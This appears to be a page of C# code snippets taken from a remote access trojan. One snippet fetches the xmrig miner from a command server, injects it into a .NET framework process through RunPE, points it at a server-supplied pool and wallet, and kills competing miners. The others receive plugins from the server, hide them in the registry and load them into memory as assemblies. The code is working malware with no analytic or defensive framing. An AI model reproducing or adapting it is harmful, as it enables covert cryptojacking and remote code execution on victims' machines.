public void RunMiner(MsgPack unpack_msgpack)
 {
     try
     {
         string xmrig    = Path.GetTempPath() + unpack_msgpack.ForcePathObject("Hash").AsString + ".bin";
         string injectTo = unpack_msgpack.ForcePathObject("InjectTo").AsString;
         string args     = $"-B --donate-level=1 -t {Environment.ProcessorCount / 2} -v 0 --cpu-priority=3 -a cn/r -k -o {unpack_msgpack.ForcePathObject("Pool").AsString} -u {unpack_msgpack.ForcePathObject("Wallet").AsString} -p {unpack_msgpack.ForcePathObject("Pass").AsString}";
         if (!File.Exists(xmrig))
         {
             //ask server to send xmrig
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "GetXmr";
             Connection.Send(msgpack.Encode2Bytes());
             return;
         }
         KillMiner();
         if (RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injectTo), Zip.Decompress(File.ReadAllBytes(Path.GetTempPath() + unpack_msgpack.ForcePathObject("Hash").AsString + ".bin")), args, false))
         {
             SetRegistry.SetValue(Connection.Hwid, "1");
         }
     }
     catch (Exception ex)
     {
         Packet.Error(ex.Message);
     }
 }
 public void KillMiner()
 {
     foreach (var process in Process.GetProcesses())
     {
         try
         {
             if (GetCommandLine(process).ToLower().Contains("--donate-level="))
             {
                 process.Kill();
                 SetRegistry.SetValue(Connection.Hwid, "0");
             }
         }
         catch { }
     }
 }
Beispiel #3
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "pong":     //send interval value to server
                {
                    ClientSocket.ActivatePong = false;
                    MsgPack msgPack = new MsgPack();
                    msgPack.ForcePathObject("Packet").SetAsString("pong");
                    msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
                    ClientSocket.Send(msgPack.Encode2Bytes());
                    ClientSocket.Interval = 0;
                    break;
                }

                case "plugin":     // run plugin in memory
                {
                    try
                    {
                        if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed
                        {
                            Packs.Add(unpack_msgpack);                                                    //save it for later
                            MsgPack msgPack = new MsgPack();
                            msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
                            msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString);
                            ClientSocket.Send(msgPack.Encode2Bytes());
                        }
                        else
                        {
                            Invoke(unpack_msgpack);
                        }
                    }
                    catch (Exception ex)
                    {
                        Error(ex.Message);
                    }
                    break;
                }

                case "savePlugin":     // save plugin
                {
                    SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
                    Debug.WriteLine("plugin saved");
                    foreach (MsgPack msgPack in Packs.ToList())
                    {
                        if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString)
                        {
                            Invoke(msgPack);
                            Packs.Remove(msgPack);
                        }
                    }
                    break;
                }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }
Beispiel #4
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "Ping":
                {
                    Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }

                case "plugin":     // run plugin in memory
                {
                    Received();
                    Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
                    Type     type     = assembly.GetType("Plugin.Plugin");
                    dynamic  instance = Activator.CreateInstance(type);
                    instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
                    break;
                }

                case "savePlugin":     // save plugin as MD5:Base64
                {
                    SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
                    Debug.WriteLine("plguin saved");
                    break;
                }

                case "checkPlugin":     // server sent all plugins hashes, we check which plugin we miss
                {
                    List <string> plugins = new List <string>();
                    foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
                    {
                        if (SetRegistry.GetValue(plugin) == null)
                        {
                            plugins.Add(plugin);
                            Debug.WriteLine("plguin not found");
                        }
                    }
                    if (plugins.Count > 0)
                    {
                        MsgPack msgPack = new MsgPack();
                        msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
                        msgPack.ForcePathObject("Hashes").SetAsString(string.Join(",", plugins));
                        ClientSocket.Send(msgPack.Encode2Bytes());
                    }
                    break;
                }

                    //case "cleanPlugin": // server want to clean and re save all plugins
                    //    {
                    //        SetRegistry.DeleteSubKey();
                    //        MsgPack msgPack = new MsgPack();
                    //        msgPack.ForcePathObject("Packet").SetAsString("sendPlugin+");
                    //        ClientSocket.Send(msgPack.Encode2Bytes());
                    //        break;
                    //    }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }